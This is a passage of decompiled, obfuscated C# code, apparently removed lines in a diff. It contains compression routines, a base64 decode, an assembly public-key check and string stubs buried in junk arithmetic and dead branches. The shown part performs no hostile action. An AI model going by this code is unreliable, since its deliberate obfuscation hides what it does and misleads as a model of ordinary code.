\u0002.\u0005.\u0001(num); - if (true) - str1 = str2; - \u0003.\u0001 = \u0005.\u0001.\u0001(str1, numArray); -label_8: - numArray = Convert.FromBase64String(_param1); - num = 268; - if (num != 0 && num != 0) - { - str1 = \u0002.\u0005.\u0001(num); - goto label_3; - } - else - goto label_5; - } - - static bool \u0001(Assembly _param0, Assembly _param1) - { -label_0: - byte[] publicKey1 = _param0.GetName().GetPublicKey(); - byte[] publicKey2 = _param1.GetName().GetPublicKey(); -label_17: - int num1 = publicKey2 == null ? 1 : 0; - int num2; - int num3; - if (true) - { - num3 = publicKey1 == null ? 1 : 0; - num2 = num1; - } - else - goto label_14; -label_3: - int index; - if (num2 != num3) - { - int num4 = 0; - if (num4 == 0) - return num4 != 0; - num2 = num4; - } - else if (publicKey2 != null) - { - index = 0; - if (false) - goto label_0; - else - goto label_15; - } - else - goto label_16; -label_9: - num3 = (int) publicKey1[index]; - if (true) - { - if (num2 != num3) - return false; - if (true) - num1 = index + 1; - else - goto label_17; - } - else - goto label_3; -label_14: - index = num1; -label_15: - if (index < publicKey2.Length) - { - num2 = (int) publicKey2[index]; - goto label_9; - } -label_16: - return true; - } - - static unsafe string \u0001(string _param0, string _param1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(112); - \u0002.\u0005.\u0001(281); - *(int*) ((IntPtr) voidPtr + 8) = 412; - *(int*) ((IntPtr) voidPtr + 8) = 95010; - *(int*) ((IntPtr) voidPtr + 40) = *(int*) ((IntPtr) voidPtr + 8); - *(int*) ((IntPtr) voidPtr + 72) = 91598; - *(int*) ((IntPtr) voidPtr + 72) = 144517; - *(int*) ((IntPtr) voidPtr + 88) = *(int*) ((IntPtr) voidPtr + 72); - \u0002.\u0005.\u0001(294); - \u0002.\u0005.\u0001(307); - *(int*) ((IntPtr) voidPtr + 100) = 46269; - *(int*) ((IntPtr) voidPtr + 100) = 127872; - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 100); - \u0002.\u0005.\u0001(320); - *(int*) ((IntPtr) voidPtr + 104) = 11514; - *(int*) ((IntPtr) voidPtr + 104) = 95431; - *(int*) ((IntPtr) voidPtr + 76) = *(int*) ((IntPtr) voidPtr + 104); - \u0002.\u0005.\u0001(329); - \u0002.\u0005.\u0001(338); - \u0002.\u0005.\u0001(355); - *(int*) ((IntPtr) voidPtr + 80) = 74864; - *(int*) ((IntPtr) voidPtr + 80) = 103663; - *(int*) ((IntPtr) voidPtr + 32) = *(int*) ((IntPtr) voidPtr + 80); - *(int*) ((IntPtr) voidPtr + 56) = 39667; - *(int*) ((IntPtr) voidPtr + 56) = 141933; - *(int*) ((IntPtr) voidPtr + 52) = *(int*) ((IntPtr) voidPtr + 56); - *(int*) ((IntPtr) voidPtr + 20) = 36126; - *(int*) ((IntPtr) voidPtr + 20) = 76366; - *(int*) ((IntPtr) voidPtr + 84) = *(int*) ((IntPtr) voidPtr + 20); - *(int*) voidPtr = 75267; - *(int*) voidPtr = 61646; - *(int*) ((IntPtr) voidPtr + 16) = *(int*) voidPtr; - *(int*) ((IntPtr) voidPtr + 28) = 16790; - *(int*) ((IntPtr) voidPtr + 28) = 74788; - *(int*) ((IntPtr) voidPtr + 96) = *(int*) ((IntPtr) voidPtr + 28); - \u0002.\u0005.\u0001(364); - \u0002.\u0005.\u0001(377); - *(int*) ((IntPtr) voidPtr + 12) = 26985; - *(int*) ((IntPtr) voidPtr + 12) = 121462; - *(int*) ((IntPtr) voidPtr + 60) = *(int*) ((IntPtr) voidPtr + 12); - *(int*) ((IntPtr) voidPtr + 24) = 14982; - *(int*) ((IntPtr) voidPtr + 24) = 46055; - *(int*) ((IntPtr) voidPtr + 36) = *(int*) ((IntPtr) voidPtr + 24); - *(int*) ((IntPtr) voidPtr + 48) = 59180; - *(int*) ((IntPtr) voidPtr + 48) = 139682; - *(int*) ((IntPtr) voidPtr + 108) = *(int*) ((IntPtr) voidPtr + 48); - *(int*) ((IntPtr) voidPtr + 92) = 97088; - *(int*) ((IntPtr) voidPtr + 92) = 111317; - *(int*) ((IntPtr) voidPtr + 64) = *(int*) ((IntPtr) voidPtr + 92); - *(int*) ((IntPtr) voidPtr + 68) = 3122; - *(int*) ((IntPtr) voidPtr + 68) = 51149; - *(int*) ((IntPtr) voidPtr + 44) = *(int*) ((IntPtr) voidPtr + 68); - \u0002.\u0005.\u0001(386); - \u0002.\u0005.\u0001(395); - \u0002.\u0005.\u0001(404); - \u0002.\u0005.\u0001(417); - return \u0002.\u0005.\u0001(434); - } - - static int \u0001(\u0006.\u0006.\u0007 _param0, [In] int obj1) - { - int num1; - do - { - if (true) - goto label_10; -label_1: - continue; -label_10: - num1 = 0; - goto label_1; - } - while (false); - int num2; - while (true) - { - int num3 = obj1; - int num4 = 4; - int num5; - int num6; - while (true) - { - if (num3 >= num4) - goto label_11; - else - goto label_13; -label_4: - num6 = 1; - int num7; - num5 = num7; -label_5: - if (num6 == 0) - { - num4 = num6; - num3 = num5; - continue; - } - break; -label_11: - num5 = num1; - num6 = 2; - if (num6 != 0) - { - num1 = num5 + num6; - num7 = obj1; - goto label_4; - } - else - goto label_5; -label_13: - num2 = num1 + obj1; - if (false) - { - num7 = num2; - goto label_4; - } - else - goto label_9; - } - obj1 = num5 >> num6; - } -label_9: - return num2; - } - - static int \u0001([In] \u0006.\u0006.\u0008 obj0) - { - int index; - short num1; - int num2; - int maxValue; - do - { - num2 = obj0.\u0010 << 5; - maxValue = (int) obj0.\u0001[obj0.\u0014 + 2]; - if (true) - { - index = (num2 ^ maxValue) & (int) short.MaxValue; - obj0.\u0002[obj0.\u0014 & (int) short.MaxValue] = num1 = obj0.\u0001[index]; - } - else - goto label_3; - } - while (false); - obj0.\u0001[index] = (short) obj0.\u0014; - obj0.\u0010 = index; - int num3 = (int) num1; - maxValue = (int) ushort.MaxValue; - num2 = num3; -label_3: - return num2 & maxValue; - } - - static unsafe bool \u0001(\u0006.\u0006.\u0005 _param0, [In] \u0006.\u0006.\u0002 obj1) - { - int num1 = 8; - void* voidPtr; - if (num1 != 0) - { - // ISSUE: untyped stack allocation - voidPtr = (void*) __untypedstackalloc(num1); - goto label_43; - } -label_2: - int num2; - int num3; - int num4; - int num5; - switch (num1) - { - case 0: - _param0.\u0008 = \u0005.\u0001.\u0001(obj1, 5); - if (_param0.\u0008 < 0) - return false; - _param0.\u0008 += 257; - \u0005.\u0001.\u0001(obj1, 5); - _param0.\u0007 = 1; - goto case 1; - case 1: - _param0.\u000E = \u0005.\u0001.\u0001(obj1, 5); - if (_param0.\u000E >= 0) - { - ++_param0.\u000E; - \u0005.\u0001.\u0001(obj1, 5); - _param0.\u0010 = _param0.\u0008 + _param0.\u000E; - _param0.\u0002 = new byte[_param0.\u0010]; - _param0.\u0007 = 2; - goto case 2; - } - else - break; - case 2: - _param0.\u000F = \u0005.\u0001.\u0001(obj1, 4); - if (_param0.\u000F < 0) - return false; - _param0.\u000F += 4; - \u0005.\u0001.\u0001(obj1, 4); - _param0.\u0001 = new byte[19]; - _param0.\u0012 = 0; - goto label_12; - case 3: -label_19: - num4 = _param0.\u0012; - num5 = _param0.\u000F; - if (true) - { - if (num4 < num5) - { - *(int*) voidPtr = \u0005.\u0001.\u0001(obj1, 3); - goto label_14; - } - else - { - _param0.\u0001 = new \u0006.\u0006.\u0004(_param0.\u0001); - _param0.\u0001 = (byte[]) null; - _param0.\u0012 = 0; - if (true) - { - _param0.\u0007 = 4; - goto case 4; - } - else - break; - } - } - else - goto label_25; - case 4: -label_27: - int num6; - if (((num6 = \u0005.\u0001.\u0001(_param0.\u0001, obj1)) & -16) == 0) - { - if (true) - { - byte[] numArray = _param0.\u0002; - num2 = _param0.\u0012++; - int index = num2; - int num7 = (int) (_param0.\u0001 = (byte) num6); - numArray[index] = (byte) num7; - int num8 = _param0.\u0012; - num5 = _param0.\u0010; - num4 = num8; - goto label_25; - } - else - goto label_12; - } - else - { - if (num6 < 0) - return false; - if (num6 >= 17) - _param0.\u0001 = (byte) 0; - _param0.\u0011 = num6 - 16; - if (true) - { - _param0.\u0007 = 5; - goto case 5; - } - else - goto case 5; - } - case 5: - *(int*) ((IntPtr) voidPtr + 4) = \u0006.\u0006.\u0005.\u0002[_param0.\u0011]; - num3 = \u0005.\u0001.\u0001(obj1, *(int*) ((IntPtr) voidPtr + 4)); - if (num3 < 0) - return false; - goto label_36; - default: - goto label_43; - } - return false; -label_12: - _param0.\u0007 = 3; - goto label_19; -label_14: - int num9 = *(int*) voidPtr; - if (false) - return num9 != 0; - if (num9 < 0) - return false; - \u0005.\u0001.\u0001(obj1, 3); - if (true) - { - _param0.\u0001[\u0006.\u0006.\u0005.\u0003[_param0.\u0012]] = (byte) *(int*) voidPtr; - ++_param0.\u0012; - goto label_19; - } - else - goto label_36; -label_25: - if (num4 == num5) - return true; - goto label_27; -label_36: - \u0005.\u0001.\u0001(obj1, *(int*) ((IntPtr) voidPtr + 4)); - num3 += \u0006.\u0006.\u0005.\u0001[_param0.\u0011]; - while (num3-- > 0) - { - byte[] numArray = _param0.\u0002; - num2 = _param0.\u0012++; - int index = num2; - int num10 = (int) _param0.\u0001; - numArray[index] = (byte) num10; - } - if (true) - { - if (_param0.\u0012 == _param0.\u0010) - return true; - _param0.\u0007 = 4; - } - else - goto label_14; -label_43: - int num11 = _param0.\u0007; - if (true) - num2 = num11; - num1 = num2; - goto label_2; - } - - static unsafe int \u0001(int _param0, int _param1, byte[] _param2, [In] \u0006.\u0006.\u0003 obj3) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(12); - int num1; - int num2; - do - { - *(int*) voidPtr = obj3.\u0003; - num1 = _param0; - num2 = obj3.\u0004; - if (true) - { - if (true) - { - if (num1 <= num2) - goto label_17; - else - goto label_16; -label_4: - *(int*) ((IntPtr) voidPtr + 4) = _param0; - continue; -label_16: - _param0 = obj3.\u0004; - goto label_4; -label_17: - *(int*) voidPtr = obj3.\u0003 - obj3.\u0004 + _param0 & (int) short.MaxValue; - goto label_4; - } - else - goto label_10; - } - else - goto label_12; - } - while (false); - if (true) - { - *(int*) ((IntPtr) voidPtr + 8) = _param0 - *(int*) voidPtr; - int num3 = *(int*) ((IntPtr) voidPtr + 8); - int num4 = 0; - if (num4 == 0) - { - if (num3 > num4) - Array.Copy((Array) obj3.\u0001, 32768 - *(int*) ((IntPtr) voidPtr + 8), (Array) _param2, _param1, *(int*) ((IntPtr) voidPtr + 8)); - else - goto label_11; - } - else - { - num2 = num4; - num1 = num3; - goto label_10; - } - } - int num5 = _param1; - num2 = *(int*) ((IntPtr) voidPtr + 8); - num1 = num5; -label_10: - _param1 = num1 + num2; - _param0 = *(int*) voidPtr; -label_11: - Array.Copy((Array) obj3.\u0001, *(int*) voidPtr - _param0, (Array) _param2, _param1, _param0); - obj3.\u0004 -= *(int*) ((IntPtr) voidPtr + 4); - int num6 = obj3.\u0004; - num2 = 0; - num1 = num6; -label_12: - if (num1 < num2) - throw new InvalidOperationException(); - return *(int*) ((IntPtr) voidPtr + 4); - } - - static unsafe void \u0001([In] \u0006.\u0006.\u0008 obj0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(16); - Array.Copy((Array) obj0.\u0001, 32768, (Array) obj0.\u0001, 0, 32768); - obj0.\u0011 -= 32768; - obj0.\u0014 -= 32768; - obj0.\u0013 -= 32768; - *(int*) voidPtr = 0; - while (*(int*) voidPtr < 32768) - { - *(int*) ((IntPtr) voidPtr + 4) = (int) obj0.\u0001[*(int*) voidPtr] & (int) ushort.MaxValue; - obj0.\u0001[*(int*) voidPtr] = *(int*) ((IntPtr) voidPtr + 4) >= 32768 ? (short) (*(int*) ((IntPtr) voidPtr + 4) - 32768) : (short) 0; - *(int*) voidPtr = *(int*) voidPtr + 1; - } - *(int*) ((IntPtr) voidPtr + 8) = 0; - while (*(int*) ((IntPtr) voidPtr + 8) < 32768) - { - *(int*) ((IntPtr) voidPtr + 12) = (int) obj0.\u0002[*(int*) ((IntPtr) voidPtr + 8)] & (int) ushort.MaxValue; - obj0.\u0002[*(int*) ((IntPtr) voidPtr + 8)] = *(int*) ((IntPtr) voidPtr + 12) >= 32768 ? (short) (*(int*) ((IntPtr) voidPtr + 12) - 32768) : (short) 0; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) + 1; - } - } - - static void \u0001( - byte[] _param0, - bool _param1, - int _param2, - int _param3, - [In] \u0006.\u0006.\u0007 obj4) - { - \u0005.\u0001.\u0001(obj4.\u0001, _param1 ? 1 : 0, 3); - \u0005.\u0001.\u0001(obj4.\u0001); - \u0005.\u0001.\u0001(obj4.\u0001, _param3); - \u0005.\u0001.\u0001(obj4.\u0001, ~_param3); - \u0005.\u0001.\u0001(_param3, _param0, obj4.\u0001, _param2); - \u0005.\u0001.\u0001(obj4); - } - - static void \u0001([In] \u0006.\u0006.\u0008 obj0) => obj0.\u0010 = (int) obj0.\u0001[obj0.\u0014] << 5 ^ (int) obj0.\u0001[obj0.\u0014 + 1]; - - static unsafe string \u0001(int _param0, int _param1, string _param2) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(252); - *(int*) ((IntPtr) voidPtr + 84) = 48145; - *(int*) ((IntPtr) voidPtr + 84) = 62993; - *(int*) ((IntPtr) voidPtr + 28) = *(int*) ((IntPtr) voidPtr + 84); - *(int*) ((IntPtr) voidPtr + 36) = 60640; - *(int*) ((IntPtr) voidPtr + 36) = 103377; - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 36); - \u0002.\u0005.\u0001(447); - \u0002.\u0005.\u0001(460); - *(int*) ((IntPtr) voidPtr + 80) = 51618; - *(int*) ((IntPtr) voidPtr + 80) = 100886; - *(int*) ((IntPtr) voidPtr + 68) = *(int*) ((IntPtr) voidPtr + 80); - \u0002.\u0005.\u0001(469); - *(int*) ((IntPtr) voidPtr + 24) = 52035; - *(int*) ((IntPtr) voidPtr + 24) = 28912; -label_1: - *(int*) ((IntPtr) voidPtr + 56) = *(int*) ((IntPtr) voidPtr + 24); - *(int*) ((IntPtr) voidPtr + 92) = 13408; - *(int*) ((IntPtr) voidPtr + 92) = 32016; - *(int*) ((IntPtr) voidPtr + 64) = *(int*) ((IntPtr) voidPtr + 92); - \u0002.\u0005.\u0001(478); - *(int*) ((IntPtr) voidPtr + 100) = 29791; - *(int*) ((IntPtr) voidPtr + 100) = 94529; - *(int*) ((IntPtr) voidPtr + 52) = *(int*) ((IntPtr) voidPtr + 100); - *(int*) ((IntPtr) voidPtr + 20) = 83425; - *(int*) ((IntPtr) voidPtr + 20) = 35285; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 20); - \u0002.\u0005.\u0001(495); - *(int*) ((IntPtr) voidPtr + 40) = 77151; - *(int*) ((IntPtr) voidPtr + 40) = 38907; - *(int*) ((IntPtr) voidPtr + 88) = *(int*) ((IntPtr) voidPtr + 40); - *(int*) ((IntPtr) voidPtr + 16) = 41035; - *(int*) ((IntPtr) voidPtr + 16) = 118544; - *(int*) ((IntPtr) voidPtr + 60) = *(int*) ((IntPtr) voidPtr + 16); - *(int*) ((IntPtr) voidPtr + 32) = 76498; - *(int*) ((IntPtr) voidPtr + 32) = 55127; - *(int*) ((IntPtr) voidPtr + 104) = *(int*) ((IntPtr) voidPtr + 32); - *(int*) ((IntPtr) voidPtr + 48) = 69456; - *(int*) ((IntPtr) voidPtr + 48) = 38430; - *(int*) ((IntPtr) voidPtr + 44) = *(int*) ((IntPtr) voidPtr + 48); - \u0002.\u0005.\u0001(508); - *(int*) ((IntPtr) voidPtr + 4) = 80016; - *(int*) ((IntPtr) voidPtr + 4) = 60151; - *(int*) voidPtr = *(int*) ((IntPtr) voidPtr + 4); - *(int*) ((IntPtr) voidPtr + 72) = 20107; - *(int*) ((IntPtr) voidPtr + 72) = 114764; - *(int*) ((IntPtr) voidPtr + 96) = *(int*) ((IntPtr) voidPtr + 72); - \u0002.\u0005.\u0001(517); - \u0002.\u0005.\u0001(530); - \u0002.\u0005.\u0001(539); - *(int*) ((IntPtr) voidPtr + 76) = 50505; - *(int*) ((IntPtr) voidPtr + 76) = 0; - while (*(int*) ((IntPtr) voidPtr + 76) > 40268) - { - *(int*) ((IntPtr) voidPtr + 196) = 997984; - *(int*) ((IntPtr) voidPtr + 196) = 105982; - *(int*) ((IntPtr) voidPtr + 196) = 128519; - *(int*) ((IntPtr) voidPtr + 200) = *(int*) ((IntPtr) voidPtr + 196); - *(int*) ((IntPtr) voidPtr + 116) = 658308; - *(int*) ((IntPtr) voidPtr + 116) = 127841; - *(int*) ((IntPtr) voidPtr + 116) = 133031; - *(int*) ((IntPtr) voidPtr + 132) = *(int*) ((IntPtr) voidPtr + 116); - *(int*) ((IntPtr) voidPtr + 244) = 0; - *(int*) ((IntPtr) voidPtr + 244) = 0; - *(int*) ((IntPtr) voidPtr + 216) = *(int*) ((IntPtr) voidPtr + 244); - *(int*) ((IntPtr) voidPtr + 224) = 0; - *(int*) ((IntPtr) voidPtr + 224) = 1; - *(int*) ((IntPtr) voidPtr + 224) = 11; - *(int*) ((IntPtr) voidPtr + 236) = *(int*) ((IntPtr) voidPtr + 224); - *(int*) ((IntPtr) voidPtr + 208) = 6; - if (true) - { - *(int*) ((IntPtr) voidPtr + 208) = 0; - *(int*) ((IntPtr) voidPtr + 208) = 6; - *(int*) ((IntPtr) voidPtr + 232) = *(int*) ((IntPtr) voidPtr + 208); - *(int*) ((IntPtr) voidPtr + 136) = -100540; - *(int*) ((IntPtr) voidPtr + 136) = -10107; - *(int*) ((IntPtr) voidPtr + 136) = 61817; - *(int*) ((IntPtr) voidPtr + 248) = *(int*) ((IntPtr) voidPtr + 136); - *(int*) ((IntPtr) voidPtr + 188) = -640813; - *(int*) ((IntPtr) voidPtr + 188) = -18451; - *(int*) ((IntPtr) voidPtr + 188) = 24598; - *(int*) ((IntPtr) voidPtr + 184) = *(int*) ((IntPtr) voidPtr + 188); - *(int*) ((IntPtr) voidPtr + 176) = 223526; - *(int*) ((IntPtr) voidPtr + 176) = 107734; - *(int*) ((IntPtr) voidPtr + 176) = 79797; - *(int*) ((IntPtr) voidPtr + 204) = *(int*) ((IntPtr) voidPtr + 176); - *(int*) ((IntPtr) voidPtr + 144) = -592927; - *(int*) ((IntPtr) voidPtr + 144) = 29384; - *(int*) ((IntPtr) voidPtr + 144) = -67085; - *(int*) ((IntPtr) voidPtr + 144) = 98362; - *(int*) ((IntPtr) voidPtr + 120) = *(int*) ((IntPtr) voidPtr + 144); - *(int*) ((IntPtr) voidPtr + 128) = 740279; - *(int*) ((IntPtr) voidPtr + 128) = 144355; - *(int*) ((IntPtr) voidPtr + 128) = 110621; - *(int*) ((IntPtr) voidPtr + 156) = *(int*) ((IntPtr) voidPtr + 128); - *(int*) ((IntPtr) voidPtr + 180) = 162265; - *(int*) ((IntPtr) voidPtr + 180) = 59747; - *(int*) ((IntPtr) voidPtr + 180) = 48618; - *(int*) ((IntPtr) voidPtr + 164) = *(int*) ((IntPtr) voidPtr + 180); - *(int*) ((IntPtr) voidPtr + 240) = -698349; - *(int*) ((IntPtr) voidPtr + 240) = -10625; - *(int*) ((IntPtr) voidPtr + 240) = 46852; - *(int*) ((IntPtr) voidPtr + 240) = -3255; - *(int*) ((IntPtr) voidPtr + 148) = *(int*) ((IntPtr) voidPtr + 240); - *(int*) ((IntPtr) voidPtr + 172) = 1; - *(int*) ((IntPtr) voidPtr + 172) = 0; - *(int*) ((IntPtr) voidPtr + 172) = 1; - *(int*) ((IntPtr) voidPtr + 172) = 2; - *(int*) ((IntPtr) voidPtr + 140) = *(int*) ((IntPtr) voidPtr + 172); - *(int*) ((IntPtr) voidPtr + 124) = -283264; - *(int*) ((IntPtr) voidPtr + 124) = 13774; - *(int*) ((IntPtr) voidPtr + 124) = -9718; - *(int*) ((IntPtr) voidPtr + 192) = *(int*) ((IntPtr) voidPtr + 124); - *(int*) ((IntPtr) voidPtr + 112) = 0; - *(int*) ((IntPtr) voidPtr + 112) = 1; - *(int*) ((IntPtr) voidPtr + 112) = 0; - *(int*) ((IntPtr) voidPtr + 152) = *(int*) ((IntPtr) voidPtr + 112); - *(int*) ((IntPtr) voidPtr + 220) = 419093; - *(int*) ((IntPtr) voidPtr + 220) = 78800; - *(int*) ((IntPtr) voidPtr + 168) = *(int*) ((IntPtr) voidPtr + 220); - *(int*) ((IntPtr) voidPtr + 160) = 572865; - *(int*) ((IntPtr) voidPtr + 160) = 97018; - *(int*) ((IntPtr) voidPtr + 228) = *(int*) ((IntPtr) voidPtr + 160); - *(int*) ((IntPtr) voidPtr + 212) = -741658; - *(int*) ((IntPtr) voidPtr + 212) = 39679; - *(int*) ((IntPtr) voidPtr + 212) = -35231; - *(int*) ((IntPtr) voidPtr + 108) = *(int*) ((IntPtr) voidPtr + 212); - *(int*) ((IntPtr) voidPtr + 76) = checked (*(int*) unchecked ((IntPtr) voidPtr + 76) + 1); - } - else - goto label_1; - } - return \u0002.\u0005.\u0001(544); - } - - static int \u0001(\u0006.\u0006.\u000E _param0, byte[] _param1, int _param2, [In] int obj3) - { - int num1 = _param0.\u0003; - int num2 = 8; - int num3; - int num4; - while (true) - { - if (num1 >= num2) - { - byte[] numArray = _param0.\u0001; - \u0006.\u0006.\u000E obj = _param0; - int num5; - int num6 = num5 = obj.\u0002; - obj.\u0002 = num5 + 1; - int index = num6; - int num7 = (int) (byte) _param0.\u0001; - numArray[index] = (byte) num7; - if (true) - { - _param0.\u0001 >>= 8; - _param0.\u0003 -= 8; - } - else - goto label_6; - } - if (obj3 > _param0.\u0002 - _param0.\u0001) - { - num3 = _param0.\u0002; - num4 = _param0.\u0001; - if (false) - { - num2 = num4; - num1 = num3; - } - else - break; - } - else - goto label_5; - } - obj3 = num3 - num4; - Array.Copy((Array) _param0.\u0001, _param0.\u0001, (Array) _param1, _param2, obj3); - _param0.\u0001 = 0; - _param0.\u0002 = 0; - goto label_6; -label_5: - Array.Copy((Array) _param0.\u0001, _param0.\u0001, (Array) _param1, _param2, obj3); - _param0.\u0001 += obj3; -label_6: - return obj3; - } - - static unsafe bool \u0001(int _param0, [In] \u0006.\u0006.\u0008 obj1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(22); - int num1 = 128; - *(int*) voidPtr = 128; - short[] numArray = obj1.\u0002; - int index = obj1.\u0014; - *(int*) ((IntPtr) voidPtr + 4) = obj1.\u0014 + obj1.\u0012; - *(int*) ((IntPtr) voidPtr + 8) = Math.Max(obj1.\u0012, 2); - *(int*) ((IntPtr) voidPtr + 12) = Math.Max(obj1.\u0014 - 32506, 0); - *(int*) ((IntPtr) voidPtr + 16) = obj1.\u0014 + 258 - 1; - *(sbyte*) ((IntPtr) voidPtr + 20) = (sbyte) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 4) - 1]; - *(sbyte*) ((IntPtr) voidPtr + 21) = (sbyte) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 4)]; - if (*(int*) ((IntPtr) voidPtr + 8) >= 8) - num1 >>= 2; - if (*(int*) voidPtr > obj1.\u0015) - *(int*) voidPtr = obj1.\u0015; - int num2; - int num3; - do - { - if ((int) obj1.\u0001[_param0 + *(int*) ((IntPtr) voidPtr + 8)] == (int) *(byte*) ((IntPtr) voidPtr + 21) && (int) obj1.\u0001[_param0 + *(int*) ((IntPtr) voidPtr + 8) - 1] == (int) *(byte*) ((IntPtr) voidPtr + 20) && (int) obj1.\u0001[_param0] == (int) obj1.\u0001[index] && (int) obj1.\u0001[_param0 + 1] == (int) obj1.\u0001[index + 1]) - { - int num4 = _param0 + 2; - int num5 = index + 2; - int num6; - int num7; - int num8; - int num9; - int num10; - int num11; - int num12; - do - ; - while ((int) obj1.\u0001[++num5] == (int) obj1.\u0001[num6 = num4 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num7 = num6 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num8 = num7 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num9 = num8 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num10 = num9 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num11 = num10 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num12 = num11 + 1] && (int) obj1.\u0001[++num5] == (int) obj1.\u0001[num4 = num12 + 1] && num5 < *(int*) ((IntPtr) voidPtr + 16)); - if (num5 > *(int*) ((IntPtr) voidPtr + 4)) - { - obj1.\u0011 = _param0; - *(int*) ((IntPtr) voidPtr + 4) = num5; - *(int*) ((IntPtr) voidPtr + 8) = num5 - obj1.\u0014; - if (*(int*) ((IntPtr) voidPtr + 8) < *(int*) voidPtr) - { - *(sbyte*) ((IntPtr) voidPtr + 20) = (sbyte) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 4) - 1]; - *(sbyte*) ((IntPtr) voidPtr + 21) = (sbyte) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 4)]; - } - else - break; - } - index = obj1.\u0014; - } - if ((_param0 = (int) numArray[_param0 & (int) short.MaxValue] & (int) ushort.MaxValue) > *(int*) ((IntPtr) voidPtr + 12)) - { - num2 = num1; - num3 = 1; - if (num3 == 0) - goto label_1; - } - else - break; - } - while ((num1 = num2 - num3) != 0); - obj1.\u0012 = Math.Min(*(int*) ((IntPtr) voidPtr + 8), obj1.\u0015); - int num13 = obj1.\u0012; - int num14 = 3; -label_16: - return num13 >= num14; -label_1: - num14 = num3; - num13 = num2; - goto label_16; - } - - static void \u0001(\u0006.\u0006.\u0002 _param0, [In] int obj1) - { -label_0: - _param0.\u0001 >>= obj1; - do - { - if (true) - _param0.\u0003 -= obj1; - else - goto label_0; - } - while (false); - } - - static void \u0001([In] \u0006.\u0006.\u0008 obj0) - { -label_0: - int num1 = obj0.\u0014; - int num2 = 65274; - if (num2 != 0) - { - if (num1 >= num2) - { - \u0005.\u0001.\u0001(obj0); - goto label_11; - } - else - goto label_11; - } - else - goto label_14; -label_10: - int length; - obj0.\u0016 += length; - obj0.\u0015 += length; -label_11: - if (obj0.\u0015 >= 262) - goto label_15; -label_12: - int num3 = obj0.\u0017; - if (true) - { - num2 = obj0.\u0018; - num1 = num3; - } - else - goto label_19; -label_14: - if (num1 < num2) - { - if (true) - { - num3 = 65536 - obj0.\u0015 - obj0.\u0014; - goto label_19; - } - else - goto label_10; - } -label_15: - if (true) - { - if (obj0.\u0015 < 3) - return; - \u0005.\u0001.\u0001(obj0); - return; - } - goto label_12; -label_19: - length = num3; - if (length > obj0.\u0018 - obj0.\u0017) - { - int num4 = obj0.\u0018; - int num5 = obj0.\u0017; - if (true) - { - length = num4 - num5; - } - else - { - num2 = num5; - num1 = num4; - goto label_14; - } - } - Array.Copy((Array) obj0.\u0002, obj0.\u0017, (Array) obj0.\u0001, obj0.\u0014 + obj0.\u0015, length); - if (true) - { - obj0.\u0017 += length; - goto label_10; - } - else - goto label_0; - } - - static byte[] \u0001(byte[] _param0, byte[] _param1, byte[] _param2) => \u0005.\u0001.\u0001(_param1, 3, _param0, _param2); - - static int \u0001(\u0006.\u0006.\u0007 _param0, [In] int obj1) - { - int num1 = obj1; - int num2; - if (true) - { - if (num1 == (int) byte.MaxValue) - return 285; - if (true) - { - num2 = 257; - goto label_14; - } - else - goto label_14; - } - else - goto label_13; -label_5: - int num3; - if (true) - num3 >>= 1; - obj1 = num3; - goto label_14; -label_13: - num2 = num1; - num3 = obj1; - goto label_5; -label_14: - int num4 = obj1; - if (false) - { - num3 = num4; - goto label_5; - } - else - { - int num5 = 8; - if (num5 != 0) - { - if (num4 >= num5) - { - num1 = num2 + 4; - goto label_13; - } - else - { - int num6 = num2; - num5 = obj1; - num4 = num6; - } - } - return num4 + num5; - } - } - - static void \u0001(\u0006.\u0006.\u000E _param0, int _param1, [In] int obj2) - { - do - { - _param0.\u0001 |= (uint) (_param1 << _param0.\u0003); - _param0.\u0003 += obj2; - if (_param0.\u0003 >= 16) - goto label_5; -label_4: - continue; -label_5: - byte[] numArray = _param0.\u0001; - \u0006.\u0006.\u000E obj = _param0; - int num1; - int num2 = num1 = obj.\u0002; - obj.\u0002 = num1 + 1; - int index = num2; - int num3 = (int) (byte) _param0.\u0001; - numArray[index] = (byte) num3; -label_1: - if (true) - { - _param0.\u0001[_param0.\u0002++] = (byte) (_param0.\u0001 >> 8); - _param0.\u0001 >>= 16; - if (true) - { - _param0.\u0003 -= 16; - goto label_4; - } - else - goto label_1; - } - } - while (false); - } - - static unsafe void \u0001([In] \u0006.\u0006.\u0007.\u0001 obj0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(36); - *(int*) voidPtr = obj0.\u0001.Length; - int[] numArray1 = new int[*(int*) voidPtr]; - int num1 = 0; - int num2 = 0; - int[] numArray2; - while (true) - { - int num3 = num2; - *(int*) ((IntPtr) voidPtr + 4) = 0; - int num4; - while (true) - { - if (*(int*) ((IntPtr) voidPtr + 4) < *(int*) voidPtr) - goto label_49; - else - goto label_14; -label_3: - int num5; - num1 = num5 + 1; - int index1; - int index2; - for (index1 = num5; index1 > 0 && (int) obj0.\u0001[numArray1[index2 = (index1 - 1) / 2]] > *(int*) ((IntPtr) voidPtr + 8); index1 = index2) - numArray1[index1] = numArray1[index2]; - numArray1[index1] = *(int*) ((IntPtr) voidPtr + 4); - num3 = *(int*) ((IntPtr) voidPtr + 4); -label_7: - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1; - continue; -label_14: - int num6; - int num7; - while (true) - 